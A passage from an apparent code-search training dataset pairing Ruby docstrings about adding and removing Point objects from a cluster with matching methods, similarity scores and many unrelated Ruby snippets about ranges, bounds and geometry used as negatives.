(radius / 69.0),\n longitude - (radius / factor),\n longitude + (radius / factor)\n ]\n end", "def covers?(*args)\n other = coerce_range(*args)\n\n if other.instant?\n self.begin <= other.begin and other.end < self.end\n else\n self.begin <= other.begin and other.end <= self.end\n end\n end", "def liberties(group)\n group\n .map { |pos| pos.neighbors_in_bounds(size) }.flatten.uniq\n .count { |pos| !occupied?(pos) }\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def bounds(metric)\n (metric.respond_to?(:bounds) && metric.bounds) || [nil, nil]\n end", "def max_min_radius(cluster)\n max_min_pos = []\n max_min_length = 0\n avg_length = 0\n cluster.each do |xy|\n all_radi = find_radi(xy, cluster)\n sum = 0\n all_radi.each {|r| sum += r}\n avg_radius = sum.to_f / 6\n min_radius = all_radi.min\n if min_radius > max_min_length\n \tmax_min_pos = xy\n max_min_length = min_radius\n \tavg_length = avg_radius\n elsif min_radius == max_min_length && avg_radius > avg_length\n \tmax_min_pos = xy\n \tmax_min_length = min_radius\n \tavg_length = avg_radius\n end\n end\n results = [max_min_pos, max_min_length]\n return results \n end", "def all_within(lat, long, dist)\n @data.select { |d| d.distance_from(lat, long) < dist }\n end", "def collect\n [@range_low, @range_high]\n end", "def range_collection\n ranges.sort_by { |_, range| range.priority }.collect { |key, range_thing| [collection_label(range_thing), key] }\n end", "def e123_include_intersect (n, min, max)\n end", "def ranges\n attributes.fetch(:ranges)\n end", "def neighbors(x,y)\n valid = 0..127\n [[x,y-1],[x,y+1],[x-1,y],[x+1,y]].select {|(h,v)| valid.cover?(h) && valid.cover?(v)}\nend", "def ip_ranges\n data.ip_ranges\n end", "def set_cluster_group_ranges\n if self.file_type == 'Cluster' && self.cluster_groups.any?\n cluster = self.cluster_groups.first\n # check if range values are present and set accordingly\n if !self.x_axis_min.nil? && !self.x_axis_max.nil? && !self.y_axis_min.nil? && !self.y_axis_max.nil?\n domain_ranges = {\n x: [self.x_axis_min, self.x_axis_max],\n y: [self.y_axis_min, self.y_axis_max]\n }\n if !self.z_axis_min.nil? && !self.z_axis_max.nil?\n domain_ranges[:z] = [self.z_axis_min, self.z_axis_max]\n end\n cluster.update(domain_ranges: domain_ranges)\n else\n # either user has not supplied ranges or is deleting them, so clear entry for cluster_group\n cluster.update(domain_ranges: nil)\n end\n end\n end", "def inBounds lat, lon\n lat <= max_latitude && lat >= min_latitude && lon <= max_longitude && lon >= min_longitude\n end", "def enterprise_i_p_ranges_are_authoritative\n return @enterprise_i_p_ranges_are_authoritative\n end", "def in_bounds?(x, y)\n return false if x.to_i < 0\n return false if y.to_i < 0\n\n x.to_i < cols && y.to_i < rows\n end", "def all_points\n\t\tcase @orientation\n\t\twhen :vertical\n\t\t\tx = @points[0][:x]\n\t\t\tys = [@points[0][:y],@points[1][:y]]\n\t\t\t(ys.min..ys.max).map{|y| {:x => x, :y => y}}\n\t\twhen :horizontal\n\t\t\txs = [@points[0][:x],@points[1][:x]]\n\t\t\ty = @points[0][:y]\n\t\t\t(xs.min..xs.max).map{|x| {:x => x, :y => y}}\n\t\tend\n\tend", "def get_available_positions\n\t\tpositions = []\n\t\tfor i in (1..9) do\n\t\t\tx = ((i - 0.1) / 3).truncate\n\t\t\ty = (i - 1) % 3\n\t\t\tif self.is_valid?(x, y)\n\t\t\t\tpositions.push(i)\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn positions\n\tend", "def boundaries(x, y)\n return false if x > 7 || x < 0 || y > 7 || y < 0\n return true\n\n end", "def row(r)\n ranges = Ranges.new\n @sensors.sort.each{|loc, sen|\n range_at_r = sen.range - (loc.y - r).abs\n next if range_at_r.negative?\n\n ranges.union([loc.x - range_at_r, loc.x + range_at_r])\n }\n\n ranges\n end", "def in_bounds(pos)\n pos.all? { |coord| coord.between?(0, 7) }\n end", "def all_in_ranges?(nums, ranges)\n if nums.empty?\n return false\n end\n nums.each do |num|\n if !in_ranges?(num, ranges)\n return false\n end\n end\n true\nend", "def fullyContained(points, r)\n d = r[0].size\n firstPoint = points[0]\n lastPoint = points[-1]\n count = 0\n for i in 0..d-1\n if firstPoint[i] >= (r[0][i] - r[1][0]) && lastPoint[i] <= (r[0][i] + r[1][0])\n count += 1\n end\n end\n if count == d\n return true\n else\n return false\n end\nend", "def compute_bounds(stations)\n north = south = stations.first['lat']\n east = west = stations.first['lon']\n stations.each do |station|\n lat = station['lat']\n lon = station['lon']\n north = lat if lat > north\n south = lat if lat < south\n east = lon if lon > east\n west = lon if lon < west\n end\n [[north,west],[south,east]]\nend", "def find_cvs_interval\n max = -1.0 / 0\n min = 1.0 / 0\n current = 0\n\n self.each do |elt|\n current += elt\n if current < min\n min = current\n end\n if current > max\n max = current\n end\n end\n [min, max]\n end", "def folding_ranges; end" ]
[ "0.644344", "0.5969025", "0.5824408", "0.582361", "0.5816668", "0.5792295", "0.57451147", "0.56550246", "0.5614021", "0.5585035", "0.554071", "0.55277926", "0.5515443", "0.54791194", "0.5463592", "0.5430055", "0.5415276", "0.5402412", "0.53921646", "0.53666866", "0.53626174", "0.53597087", "0.5358147", "0.5322391", "0.5284315", "0.52546245", "0.52433044", "0.5214238", "0.52084637", "0.52028525", "0.5197089", "0.5162316", "0.51377696", "0.5135639", "0.5130764", "0.5121322", "0.5114858", "0.50877744", "0.5076603", "0.506198", "0.50483793", "0.5043458", "0.50416344", "0.502237", "0.502062", "0.50202715", "0.50080013", "0.49882665", "0.49856338", "0.49811527", "0.4969803", "0.49527425", "0.49517715", "0.49515128", "0.49441516", "0.49441516", "0.4943808", "0.4943808", "0.4943808", "0.4943808", "0.4937884", "0.49311563", "0.49191213", "0.49107748", "0.49071676", "0.4902701", "0.49024522", "0.4899131", "0.48906034", "0.48824388", "0.48797035", "0.48561427", "0.48536244", "0.48535782", "0.48340926", "0.48300275", "0.48300275", "0.481732", "0.48071387", "0.4806844", "0.48062184", "0.47945875", "0.47932202", "0.47880474", "0.4785797", "0.4783975", "0.4779656", "0.4779268", "0.4775464", "0.47618553", "0.47532845", "0.47511935", "0.4750162", "0.47498813", "0.47481993", "0.47476438", "0.4745058", "0.47435865", "0.47404775", "0.47400093" ]
0.7443832
0
Adds the specified Point object to this cluster, removing it from any other clusters first. In the future we may make it possible for a point to belong to more than one Cluster, or for a point to have a fuzzy relationship with clusters. Params: point the Point object that should be added to this cluster. Returns: This Cluster instance.
def add_point(point) point.cluster.remove_point point if point.cluster self.points << point point.cluster = self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def <<(point)\n @points << ensure_point_is_location_object(point)\n @points.uniq!\n self\n end", "def add_to_point point\n add_to_point! point.dup\n end", "def add_point(point)\n puts \"adding p: #{point}\" if @debug\n @points << point\n if self.mec && self.mec.center\n unless self.mec.contains?(point)\n iterate\n end\n else\n iterate\n end\n end", "def +(point)\n\t\t\t\tx = nil\n\t\t\t\ty = nil\n\t\t\t\t\n\t\t\t\tif !@x.nil? || !point.x.nil?\n\t\t\t\t\tx = @x.to_i + point.x.to_i\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif !@y.nil? || !point.y.nil?\n\t\t\t\t\ty = @y.to_i + point.y.to_i\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tself.class.new(x, y)\n\t\t\tend", "def add point\n self.x += point.x\n self.y += point.y\n self\n end", "def add(point)\r\n new_point = Marshal.load(Marshal.dump(self))\r\n new_point.x = @x + point.x\r\n new_point.y = @y + point.y\r\n return new_point\r\n end", "def + (point)\n self.class.new(x + point.x, y + point.y)\n end", "def remove_point(point)\n self.points.delete point\n point.cluster = nil\n end", "def + point\n\t\tPoint.new(@x+point.x, @y+point.y)\n\tend", "def add(point)\n if point.class == ControlPoint\n @controlpoints << point\n else\n raise TypeError, 'Point should be type of ControlPoint'\n end\n end", "def + (point)\n return Point2D.new(@x + point.x, @y + point.y)\n end", "def add_to_point! point\n vectors.each do |v|\n point.add! v\n end\n point\n end", "def add(point: nil,\n point_name: nil,\n point_path: nil,\n overwrite: false)\n unless point\n if !(point_name && point_path)\n raise ArgumentError.new('invalid arguments')\n end\n point = Warp::Dir::Point.new(point_name, point_path)\n end\n\n # Three use-cases here.\n # if we found this WarpPoint by name, and it's path is different from the incoming...\n existing = begin\n self[point]\n rescue Warp::Dir::Errors::PointNotFound\n nil\n end\n\n if existing.eql?(point) # found, but it's identical\n if config.debug\n puts \"Point being added #{point} is identical to existing #{existing}, ignore.\"\n end\n return\n elsif existing # found, but it's different\n if overwrite # replace it\n if config.debug\n puts \"Point being added #{point} is replacing the existing #{existing}.\"\n end\n replace(point, existing)\n else # reject it\n if config.debug\n puts \"Point being added #{point} already exists, but no overwrite was set\"\n end\n raise Warp::Dir::Errors::PointAlreadyExists.new(point)\n end\n else # no lookup found\n self.points_collection << point # add it\n end\n end", "def add!(point)\r\n @x += point.x\r\n @y += point.y\r\n end", "def add_point(point)\n # again, as with add_bbox(), we do not know whether to add the point\n # \"to the left\" or \"to the right\". So we do it three times:\n # as is, 360 to the left, 360 to the right, and choose the one\n # which minimizes the new side length\n @north = [@north, point[\"lat\"].to_f].max\n @south = [@south, point[\"lat\"].to_f].min\n lng = point[\"lng\"].to_f\n @east, @west = optimize_east_west_add(lng, lng)\n normalize\n end", "def +(other_point)\n Point.new(self.x + other_point.x, self.y + other_point.y)\n end", "def add_cpoint(point)\n end", "def addPoint( x, y) \n point = PVector.new(x, y)\n @points.push(point)\n end", "def add(data_point)\n if !active\n @tree.add_buffered_point(data_point)\n else\n if @buffered_count == 0\n @buff_file = Tempfile.new('_geotree_')\n @buff_file.binmode\n end\n\n by = zero_bytes(DATAPOINT_BYTES)\n GeoTree.write_data_point(data_point, by, 0)\n nw = @buff_file.write(by)\n raise IOError if nw != by.size\n @buffered_count += 1\n end\n end", "def add_to_point! point\n vec = as_bearing_vector\n dest = point.destination_point vec.bearing, vec.distance.in_kms\n point.lat = dest.lat\n point.lng = dest.lng\n point\n end", "def add(point)\n @controlpoints << case point\n when ControlPoint\n point\n when Array\n ControlPoint.new(*point[0..1])\n else\n raise(TypeError, 'Point should be type of ControlPoint')\n end\n\n\t\t\t# if point.class == ControlPoint\n\t\t\t# \t@controlpoints << point\n # elsif point.class == Array\n # @controlpoints << ControlPoint.new(*point[0..1])\n\t\t\t# else\n\t\t\t# \traise TypeError, 'Point should be type of ControlPoint'\n\t\t\t# end\n\t\tend", "def add_to_point(other)\n check_group! other\n\n # Assertions:\n # raise \"point given (#{point.inspect}) does not belong to #{group.name}\" if !group.include?(point)\n # raise \"point (#{inspect}) does not belong to #{group.name}\" if !group.include?(self)\n\n # Rules 1 and 2\n return other if infinity?\n return self if other.infinity?\n\n # Rule 3\n return group.infinity if x == other.x && y == field.mod(-other.y)\n\n # Rule 4\n if x != other.x\n gamma = field.mod((other.y - y) * field.inverse(other.x - x))\n sum_x = field.mod(gamma * gamma - x - other.x)\n sum_y = field.mod(gamma * (x - sum_x) - y)\n return self.class.new(group, sum_x, sum_y)\n end\n\n # Rule 5\n return double if self == other\n\n raise \"Failed to add #{inspect} to #{other.inspect}: No addition rules matched.\"\n end", "def add(p, set_first = false)\n angle = self.angle(p)\n prior_idx = @neighbors.bsearch_index { |n| self.angle(n) >= angle }\n\n raise \"Point #{p.inspect} is already a neighbor of #{self.inspect}\" if prior_idx && @neighbors[prior_idx] == p\n\n @neighbors.insert(prior_idx || @neighbors.length, p)\n\n @first = p if @first.nil? || set_first\n end", "def add_point(point)\n return if point.x < 1 || point.y < 1 || point.x > @max_x-1 || point.y > @max_y-1\n if @glade['toolbar_move'].active?\n if @first_point \n @start = point\n @first_point = false\n @points = [@start]\n print\n else\n @finish = point\n @points = []\n move\n end\n elsif @glade['toolbar_record_points'].active?\n if @x_coords[point.x]\n @glade['statusbar'].push(@context, \"Este programa não suporta 2 ou mais pontos com mesma X-coordenada!\")\n else\n @points << point\n @x_coords[point.x] = point\n end\n print\n end\n end", "def add_point\n @point = Point.new\n @point.user_id = self.find_id\n @point.save\n end", "def +(other)\n raise TypeError, \"Addition between Point and #{ other.class } is not defined\" unless other.is_a?(Point)\n Point.new(self.x + other.x, self.y + other.y)\n end", "def add_to_point point\n vec = as_bearing_vector\n point.destination_point vec.bearing, vec.distance.in_kms\n end", "def initialize(point)\n @point = point\n end", "def add_point\n end", "def add(point, index, attrib, metadata = nil)\n item = node_class.new(point, attrib, @insert_point, metadata)\n @lookup[index] = item\n @items[@insert_point] = item\n heapify(@insert_point)\n @insert_point += 1\n end", "def add_connectionPoint! s\n _log { \"add_connectionPoint! #{s.inspect}\" }\n\n if @connectionPoint.find { | x | x.name == s.name }\n raise ArgumentError, \"connectionPoint named #{s.name.inspect} already exists\"\n end\n\n @connectionPoint << s\n s.state = self\n\n # Notify.\n s.connectionPoint_added! self\n\n s\n end", "def add_connectionPoint! s\n _log { \"add_connectionPoint! #{s.inspect}\" }\n\n if @connectionPoint.find { | x | x.name == s.name }\n raise ArgumentError, \"connectionPoint named #{s.name.inspect} already exists\"\n end\n\n @ownedMember << s # ownedElement?!?!\n @connectionPoint << s\n s.state = self\n\n # Notify.\n s.connectionPoint_added! self\n\n s\n end", "def include?(point)\n self.points.include? point\n end", "def merge(cluster)\n return Cluster.new(@points + cluster.points)\n end", "def add(coordinate)\n new_x = @x + coordinate.x\n new_y = @y + coordinate.y\n new_coordinate = Coordinate.new(new_x,new_y)\n end", "def node_add(node)\n raise Deployment::InvalidArgument.new self, 'Cluster can add only nodes!', node unless node.is_a? Deployment::Node\n return node_get node if node_present? node\n unless node.cluster == self\n node.cluster.node_remove node if node.cluster\n end\n nodes.store prepare_key(node), node\n node.cluster = self\n node\n end", "def addCoordinate(coordinate:, at:nil)\n if at\n @points.insert(at, coordinate)\n else\n @points << coordinate\n end\n if @map\n if next_active_trackpoint = @map.activeTrack.nextPoint\n if next_active_trackpoint.distanceTo(point: coordinate) < FunkyGPS::ACTIVETRACKMINIMALDISTANCETOPOINT\n next_active_trackpoint.passed = true\n end\n end\n end\n end", "def forward(point)\r\n forward!(point.dup)\r\n end", "def add_stone(point, color=nil)\n # Guess the color based on turn, unless color was forced.\n unless color\n if @turn == black\n color = :black\n else\n color = :white\n end\n advance = true\n end\n\n # Check the legality of the move and play it if legal.\n raise ArgumentError, \"Illegal move\" unless legal?(point, color)\n stone = Stone.new(self, point, color)\n resolve!(stone)\n\n # If the color was not explicitly set, advance the turn.\n turn_over if advance\n return stone\n end", "def addPoints(points) \n\t\t@points += points\n\tend", "def rotate_around_point(angle, point)\n Point.new(x - point.x, y - point.y).rotate_around_origin(angle) + point\n end", "def update(point)\n\t\t@stack.last.update point\n\tend", "def add_square(point)\n @squares << point\n end", "def new( point, opts )\n @point = point\n @options = opts\n self\n end", "def add(clusterPoint, weight)\n @values.merge(clusterPoint.values).keys.each { |i| @values[i] = ( @values[i] * (1-weight) ) + (clusterPoint.values[i] * weight)}\n end", "def add(point, bug)\n validate_point(point)\n return false unless legal_addition?(point, bug)\n add_to_hive(point, bug)\n @board[point] = bug\n return true\n end", "def set_point\n @point = Point.find(params[:id])\n end", "def set_point\n @point = Point.find(params[:id])\n end", "def set_point\n @point = Point.find(params[:id])\n end", "def set_point\n @point = Point.find(params[:id])\n end", "def get(point)\n super || set(point, participant_at(point))\n end", "def sub(point)\r\n new_point = Marshal.load(Marshal.dump(self))\r\n new_point.x = @x - point.x\r\n new_point.y = @y - point.y\r\n return new_point\r\n end", "def add(point)\n az_new = self.class.calculate_azimuth(point)\n az_new += @loop_number * 2 * Math::PI\n\n # check if we looped\n if az_new-@az_current>Math::PI\n az_new -= 2*Math::PI\n @loop_number -= 1\n elsif @az_current-az_new>Math::PI\n az_new += 2*Math::PI\n @loop_number += 1\n end\n # save adjusted value\n @az_current = az_new\n\n # possibly extend borders\n @az_min = [@az_min, az_new].min\n @az_max = [@az_max, az_new].max\n end", "def setpoint\n @setpoint\n end", "def ensure_point_is_location_object(point)\n return point if point.instance_of? Location\n Location.new(point)\n end", "def get_point_clone\n return @point.clone\n end", "def add_point(user_id, unit_point, point_type)\n # create/find user_point\n user_point = UserPoint.new\n if UserPoint.find_by_user_id(user_id) == nil\n user_point.user_id = user_id\n user_point.save\n else\n user_point = UserPoint.find_by_user_id(user_id)\n end\n\n # increase point\n if point_type == 'event'\n new_point = unit_point + user_point.point_event\n user_point.update_attribute(:point_event, new_point)\n elsif point_type == 'fun'\n new_point = unit_point + user_point.point_fun\n user_point.update_attribute(:point_fun, new_point)\n elsif point_type == 'music'\n new_point = unit_point + user_point.point_music\n user_point.update_attribute(:point_music, new_point)\n elsif point_type == 'video'\n new_point = unit_point + user_point.point_video\n user_point.update_attribute(:point_video, new_point)\n elsif point_type == 'steps'\n new_point = unit_point + user_point.point_step\n user_point.update_attribute(:point_step, new_point)\n end\n end", "def +(other)\n Point2D.new(@x + other.x, @y + other.y)\n end", "def midpoint(point)\n la, lo = Ubiquity::Geoformulas.midpoint self.lat, self.lon, point.lat, point.lon\n self.class.new la, lo\n end", "def press(point)\n\t\t@clone = @entity.clone\n\t\t# TODO: probably want to copy Component properties of cloned objects as well\n\t\t\n\t\t@move_action = @action_factory.create @clone, :move\n\t\t@move_action.press(point)\n\t\t\n\t\t\n\t\t@already_added = false\n\tend", "def press(point)\n\t\t# mark the initial point for reference\n\t\t@origin = point\n\t\t@start = @entity[:physics].body.p.clone\n\tend", "def +(other)\n case other\n when Point\n Point.new(x + other.x, y + other.y)\n when Numeric\n Point.new(x + other, y + other)\n when Array\n self + Geom2D::Point(other)\n else\n raise ArgumentError, \"Invalid argument class, must be Numeric or Point\"\n end\n end", "def update(point)\n\t\t@active.update point if @active\n\tend", "def create\n @point = Point.new(params[:point])\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to @point, notice: 'Point was successfully created.' }\n format.json { render json: @point, status: :created, location: @point }\n else\n format.html { render action: \"new\" }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end", "def <=>(point)\n raise \"Must compare to another point\" unless point.is_a? Point\n if self.x < point.x\n -1\n elsif self.x > point.x\n 1\n else\n if self.y < point.y\n -1\n elsif self.y > point.y\n 1\n else\n 0\n end\n end\n end", "def -(other_point)\n Point.new(self.x - other_point.x, self.y - other_point.y)\n end", "def create\n @point = Point.new(point_params)\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to @point, notice: 'Point was successfully created.' }\n format.json { render :show, status: :created, location: @point }\n else\n format.html { render :new }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_point(point)\n if opts[:noop]\n logger.log \"Would send: #{point}\"\n return\n end\n\n logger.log(\"Sending: #{point}\", :debug)\n writer.send_point(point)\n end", "def add(v)\n @x += v.x\n @y += v.y\n self\n end", "def create\n @point = Point.new(params[:point])\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to(@point, :notice => 'Point added') }\n format.xml { render :xml => @point, :status => :created, :location => @point }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @point.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_cluster(freqitemset)\n\n # Make a new cluster\n new_cluster = Cluster.new(freqitemset)\n\n # Find the appropriate place for this new cluster in the map\n first_core_id = new_cluster.first_core_item_id\n\n dest_clusters = @clusters[first_core_id]\n\n if dest_clusters.nil? \n dest_clusters = Clusters.new \n @clusters[first_core_id] = dest_clusters\n end\n\n # Add the new cluster to this collection\n dest_clusters.add_cluster(new_cluster)\n end", "def bbpAdd(first_point, second_point)\n\n cxp(first_point.x + second_point.x, first_point.y + second_point.y)\n end", "def add(person)\n @tree.push(person)\n @sorted = false\n end", "def parallel_line(point)\n point = Point.new(point[0], point[1]) if point.is_a?(Array)\n raise TypeError, 'Must pass only Point.' unless point.is_a?(Point)\n\n Line.new(point, point + self.direction.to_point)\n end", "def add_point\n @score += 1\n end", "def add_point(position)\n MSPhysics::Newton::CurvySlider.add_point(@address, position)\n end", "def add_point(position)\n MSPhysics::Newton::CurvySlider.add_point(@address, position)\n end", "def +(p)\n Pair.new(@x + p.x, @y + p.y)\n end", "def contains?(point)\n point.inside?(self)\n end", "def contains_point?(point)\n x, y = point.x, point.y\n tuples = @points.zip(@points[1..-1] + [@points[0]])\n crossings =\n tuples.select do |a, b|\n (b.y > y != a.y > y) && (x < (a.x - b.x) * (y - b.y) / (a.y - b.y) + b.x)\n end\n\n crossings.size % 2 == 1\n end", "def add_person_coordinate(x_coord, y_coord)\n new_person = Person.new(x_coord, y_coord, @x_size, @y_size)\n @all_persons.push(new_person)\n end", "def assign_clusters\n reset_cluster_data_points\n @data_points.each do |data_point|\n closest_cluster = nil\n minimum_distance = nil\n @clusters.each do |cluster|\n distance_to_current_cluster = data_point.distance2_to(cluster.centroid)\n if minimum_distance.nil? || distance_to_current_cluster < minimum_distance\n minimum_distance = distance_to_current_cluster\n closest_cluster = cluster\n end\n end\n closest_cluster.add(data_point)\n end\n end", "def select_point(point)\n closest = live_branches.sort_by do |leaf| \n Gosu::distance(point.x, point.y, leaf.end.x, leaf.end.y) \n end.find do |leaf| \n leaf.should_branch?(point)\n end\n\n self.selected = closest if closest\n end", "def draw_point_id(point)\n draw_point(@points[point])\n end", "def cost_at(point)\n @cost_strategy.cost_at(point)\n end", "def perpendicular_segment(point)\n point = Point.new(point[0], point[1]) if point.is_a?(Array)\n raise TypeError, 'Must pass only Point.' unless point.is_a?(Point)\n\n return point if self.contains?(point)\n \n l = self.perpendicular_line(point)\n p = Line.new(self.p1, self.p2).intersection(l).first\n\n Segment.new(point, p)\n end", "def create\n @point = Point.new(params[:point])\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to(@point, :notice => 'Point was successfully created.') }\n format.xml { render :xml => @point, :status => :created, :location => @point }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @point.errors, :status => :unprocessable_entity }\n end\n end\n end", "def immediate_neighbours(point)\n\t\t\tneighbours = []\n\t\t\t@new_points.each{|p|\n\t\t\t\tnext if p.items == point.items\n\t\t\t\td = distance(point.items,p.items)\n\t\t\t\tneighbours.push(p) if d < @epsilon\n\t\t\t}\n\t\t\tneighbours\n\t\tend", "def add_member(node_info)\n @cluster_members << node_info\n end", "def update_chart_data_point(name, slide_index, shape_index, series_index, point_index, data_point, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = update_chart_data_point_with_http_info(name, slide_index, shape_index, series_index, point_index, data_point, password, folder, storage)\n data\n end", "def add_to_neighbors(node)\n @neighbors << node\n end", "def contains?(point)\n contains_xy?(point.x, point.y)\n end", "def <<(node)\n existing = node_for(node.name)\n\n if existing\n children.delete(existing)\n\n self.children << (existing + node)\n else\n node.parent = self\n self.children << node\n node\n end\n end", "def add_person\n coord = get_empty_coords()\n x_coord = coord[0]\n y_coord = coord[1]\n\n new_person = Person.new(x_coord, y_coord, @x_size, @y_size)\n @all_persons.push(new_person)\n end", "def set_cluster_point_count\n cluster_group = ClusterGroup.find_by(study_id: study.id, study_file_id: study_file.id, name: cluster_name_by_file_type)\n if cluster_group.present?\n cluster_group.set_point_count!\n Rails.logger.info \"Point count on #{cluster_group.name}:#{cluster_group.id} set to #{cluster_group.points}\"\n end\n end", "def create\n @point = Point.new(params[:point])\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to([@layer, @point], :notice => 'Point was successfully created.') }\n format.xml { render :xml => @point, :status => :created, :location => @point }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @point.errors, :status => :unprocessable_entity }\n end\n end\n end", "def addPiece(piece)\n if piece.instance_of?(Piece) && @piece == nil\n @piece = piece\n @piece.location = self\n return true\n end\n false\n end", "def point(id, x:0, y:0, **attrs)\n draw_init\n attrs.update(shape:\"point\", pos:\"#{x},#{y}!\")\n node(id, attrs)\n end", "def push(action, point)\n\t\taction.setup self, point\n\t\t\n\t\t@stack.push action\n\tend", "def determineClusterAssociatedWithExample(pointNumber)\r\n clusterWeightingsForExample = examplesFractionalMembershipInEachCluster(pointNumber)\r\n maxWeight = 0.0\r\n clusterAssociatedWithExample = nil\r\n clusterWeightingsForExample.each_with_index do |weightingGivenExampleForCluster, clusterNumber|\r\n if (weightingGivenExampleForCluster > maxWeight)\r\n maxWeight = weightingGivenExampleForCluster\r\n clusterAssociatedWithExample = clusters[clusterNumber]\r\n end\r\n end\r\n return clusterAssociatedWithExample\r\n end" ]
[ "0.73217535", "0.69854754", "0.6917421", "0.68061155", "0.67658496", "0.6754942", "0.65452325", "0.64526933", "0.6427863", "0.6403132", "0.63457894", "0.6309248", "0.62558997", "0.61804616", "0.6139067", "0.60212547", "0.5910567", "0.5857493", "0.5713876", "0.5705562", "0.5657137", "0.5616884", "0.54871875", "0.547336", "0.54589975", "0.5305891", "0.5304852", "0.52885807", "0.5250229", "0.52069676", "0.51499814", "0.5117147", "0.50400406", "0.5038856", "0.5021511", "0.5010781", "0.49715427", "0.49590427", "0.49402115", "0.4916769", "0.49163628", "0.48585358", "0.48526445", "0.48511732", "0.48374888", "0.4837021", "0.48237702", "0.48237702", "0.48237702", "0.48237702", "0.48143402", "0.4791208", "0.47703713", "0.475897", "0.4748452", "0.47310224", "0.47031733", "0.46448326", "0.46115255", "0.46110362", "0.45940274", "0.45862314", "0.45784256", "0.4572344", "0.45590138", "0.45520544", "0.4548246", "0.45326975", "0.45255437", "0.45180562", "0.45164585", "0.44967902", "0.44715053", "0.44698715", "0.44697312", "0.44689462", "0.44689462", "0.44668257", "0.44474232", "0.4440417", "0.4419844", "0.44116193", "0.44092226", "0.4406402", "0.43950802", "0.43928605", "0.43923315", "0.43756637", "0.4375574", "0.43632147", "0.43592298", "0.4358984", "0.43575746", "0.4349693", "0.43474668", "0.43467823", "0.4346715", "0.43375278", "0.4331472", "0.4331394" ]
0.8310775
0
Removes the specified Point object from this cluster. Note that if two points with the same coordinates are members of the cluster, only the one with the same memory address will be removed. (Removal is done by instance equality which is based on the memory address not coordinate equality.) Params: point the Point object that should be removed from this cluster. Returns: nil
def remove_point(point) self.points.delete point point.cluster = nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove(p)\n @first = counterclockwise(@first) if @first.equal?(p)\n @first = nil if @first.equal?(p)\n @neighbors.delete(p)\n end", "def add_point(point)\n point.cluster.remove_point point if point.cluster\n self.points << point\n point.cluster = self\n end", "def remove_connectionPoint! s\n _log { \"remove_connectionPoint! #{s.inspect}\" }\n\n @ownedMember.delete(s) # ownedElement?!?!\n @connectionPoint.delete(s)\n s.state = nil\n\n # Notify.\n s.connectionPoint_removed! self\n\n self\n end", "def remove(x, y)\n @store[x].remove(y)\n @store[y].remove(x) if undirected?\n end", "def get_point\n p = nil\n @m.synchronize{\n p = @p[0]\n @p.delete_at(0)\n }\n return p\n end", "def delete_object(x, y)\n @generator_flag = false if @grid[y][x].object.class == MapAbxn::Generator\n @grid[y][x] = nil\n end", "def removePiece(piece)\n if piece.instance_of?(Piece) && piece.location != nil\n piece.location.removePiece\n piece.location = nil\n end\n end", "def remove_connectionPoint! s\n _log { \"remove_connectionPoint! #{s.inspect}\" }\n\n @connectionPoint.delete(s)\n s.state = nil\n\n # Notify.\n s.connectionPoint_removed! self\n\n self\n end", "def node_remove(node)\n return unless node_present? node\n nodes.delete prepare_key(node)\n end", "def sub(point)\r\n new_point = Marshal.load(Marshal.dump(self))\r\n new_point.x = @x - point.x\r\n new_point.y = @y - point.y\r\n return new_point\r\n end", "def remove_entry(p)\n\t\t@person.delete(p)\n\tend", "def clear=(point)\n @queue << \"clear #{point}\"\n end", "def get_first_point\n @points.each do |pt|\n @points.delete(pt)\n return pt\n end\n end", "def <<(point)\n @points << ensure_point_is_location_object(point)\n @points.uniq!\n self\n end", "def zrem(key, member)\n node_for(key).zrem(key, member)\n end", "def delete_chart_data_point(name, slide_index, shape_index, series_index, point_index, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = delete_chart_data_point_with_http_info(name, slide_index, shape_index, series_index, point_index, password, folder, storage)\n data\n end", "def sub!(point)\r\n @x -= point.x\r\n @y -= point.y\r\n end", "def zone_remove(zone,member)\n obj_remove(zone,Zone,member)\n end", "def remove_point(index)\n MSPhysics::Newton::CurvySlider.remove_point(@address, index)\n end", "def remove_point(index)\n MSPhysics::Newton::CurvySlider.remove_point(@address, index)\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to points_url }\n format.json { head :no_content }\n end\n end", "def inverse(point)\r\n inverse!(point.dup)\r\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(points_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(points_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(points_url) }\n format.xml { head :ok }\n end\n end", "def remove_datapoint(key)\n @redis.srem \"datapoints\", key\n end", "def remove!(node)\n super\n key_to_node.delete(node.key)\n self\n end", "def remove_node(node)\n\t\t\tif has_node?(node)\n\t\t\t\tpull_edges_of(node)\n\t\t\t\t@nodes.delete(node)\n\t\t\t\t@order -= 1\n\t\t\tend\n\t\t\tself\n\t\tend", "def remove(child)\n# if children.delete(child)\n# scene.unindex_prop(child) if scene\n @peer.remove(child.peer)\n# end\n end", "def remove_phone (p)\n 